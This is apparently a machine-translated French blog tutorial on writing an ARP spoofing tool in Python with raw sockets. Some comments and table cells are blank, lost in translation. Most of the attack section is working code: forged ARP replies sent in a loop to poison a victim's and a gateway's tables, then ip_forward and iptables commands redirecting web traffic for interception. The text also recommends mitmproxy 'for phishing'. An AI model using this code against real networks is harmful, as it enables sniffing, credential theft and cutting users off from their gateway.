Implémentation de l'usurpation ARP en Python

introduction



Dans cet article, j'aimerais montrer comment vous pouvez implémenter votre propre programme d'usurpation ARP en Python. Il existe déjà des milliers d'implémentations, mais presque toutes utilisent la bibliothèque Scapy et quelques méthodes. Peut-être que cette bibliothèque est plus efficace à utiliser, je ne dis pas, mais j'étais intéressé à l'implémenter moi-même en utilisant des sockets et je voudrais dire aux lecteurs comment cela est fait.



On suppose que vous connaissez déjà le fonctionnement du protocole ARP et ses inconvénients, sinon, je vous conseille de lire cet article .



Je ne suis pas un spécialiste de la sécurité de l'information hautement qualifié, je vous demande donc de ne pas jeter vos pantoufles, mais de préciser les éventuelles inexactitudes dans les commentaires.



Un peu de théorie



Commençons par le fait que le code du protocole est \ x08 \ x06 et qu'il fonctionne au niveau de la deuxième couche OSI, c'est-à-dire celle du canal.



Ensuite, vous devez vous familiariser avec le corps de son colis pour savoir quoi envoyer. Sur wikipedia c'est très bien écrit:



Corps du paquet
Hardware type (HTYPE)

, . , Ethernet 0x0001.

Protocol type (PTYPE)

. , IPv4 0x0800.

Hardware length (HLEN)

. Ethernet 6 (0x06).

Protocol length (PLEN)

. IPv4 4 (0x04).

Operation

: 0x0001 0x0002 .

Sender hardware address (SHA)

.

Sender protocol address (SPA)

.

Target hardware address (THA)

. .

Target protocol address (TPA)

.



À première vue, cela peut sembler difficile, mais si vous le comprenez, aucun problème ne devrait survenir.

Et donc, le premier - Type de matériel (Type de matériel) pour nous est Ethernet, donc le code sera 0x0001 ou \ x00 \ x01 , Type de protocole - IPv4, codé comme \ x08 \ x00 ; vient ensuite la longueur du matériel et du type de protocole \ x06 \ x04 , soit 6 et 4 octets.

Et à la fin nous avons un code d'opération, qui dans le cas d'une requête est \ x00 \ x01 , et dans le cas d'une réponse \ x00 \ x02 et les adresses physiques / logiques de l'expéditeur / destinataire.



la mise en oeuvre



Tout d'abord, vous devez déclarer une instance de socket et définir les paramètres nécessaires:



import socket
import time

interface = "wlan0"  #   
mac = b"\xbb\xbb\xbb\xbb\xbb\xbb"  #  MAC-,   bb:bb:bb:bb:bb:bb

gateway_ip = socket.inet_aton("192.168.1.1")  # IP- 
gateway_mac = b"\xaa\xaa\xaa\xaa\xaa\xaa"  # MAC- 

victim_ip = socket.inet_aton("192.168.1.2")  # IP- 
victim_mac = b"\xcc\xcc\xcc\xcc\xcc\xcc"  # MAC- 

connect = socket.socket(socket.PF_PACKET, socket.SOCK_RAW, socket.htons(0x0800))
connect.bind((interface, socket.htons(0x0800)))


En supposant que ARP est un protocole OSI Layer 2, nous utilisons socket.PF_PACKET comme premier paramètre. Vous aurez également besoin des droits root pour que le programme fonctionne.



La méthode socket.htons () convertit les nombres naturels 16 bits en ordre d'octets du réseau.



La méthode socket.inet_aton () convertit les adresses IPv4 en binaire 32 bits.



J'ai également déclaré les variables requises.



La prochaine étape est la formation du package:



arp_code = b'\x08\x06'  #  
htype = b'\x00\x01'  # Hardware Type
ptype = b'\x08\x00'  # Protocol Type
hlen = b'\x06'  # Hardware Length
plen = b'\x04'  # Protocol Length
operation = b'\x00\x02'  # Operation Code - 

protocol = htype + ptype + hlen + plen + operation  #  

#       ,       
eth_packet_1 = victim_mac + mac + arp_code
eth_packet_2 = gateway_mac + mac + arp_code

#      
# 4     4    ,    
request_victim = eth_packet_1 + protocol + mac + gateway_ip + victim_mac + victim_ip
request_gateway = eth_packet_2 + protocol + mac + victim_ip + gateway_mac + gateway_ip

#   
while True:
    connect.send(request_victim)
    connect.send(request_gateway)
    time.sleep(1)


Maintenant, nous n'avons analysé que le programme lui-même, mais si vous souhaitez non seulement déconnecter les utilisateurs de la passerelle, mais également remplacer / renifler les paquets, vous devrez alors activer le transfert dans ip_forward:



echo 1 > /proc/sys/net/ipv4/ip_forward


Et configurez également le routage des paquets via iptables:



iptables -t nat -A POSTROUTING -o wlan0 -j MASQUERADE
iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port 8080
iptables -t nat -A PREROUTING -p tcp --destination-port 443 -j REDIRECT --to-port 8080


Si vous souhaitez effectuer du phishing, l'utilitaire mitmproxy est le meilleur choix .

Vous pouvez afficher le trafic qui vous traverse à l'aide de l'utilitaire tcpdump .



Également sur mon GitHub, j'ai publié un script conçu pour déconnecter tout ou partie des nœuds de la passerelle - github.com/secwayz/netbuster



À la suite de l'écriture du programme, j'ai trouvé que même avec le code d'opération 0x0001(requête) et avec tous les paramètres de la réponse (ils sont légèrement différents), la victime reçoit toujours le paquet et change l'adresse MAC dans la table ARP, tandis que la stabilité de l'attaque et la force de cette entrée sont considérablement augmentées. Je suppose que c'est une autre faille dans le protocole, dans laquelle l'interface réseau n'ignore pas le paquet mal composé, mais le traite et écrase la table.



All Articles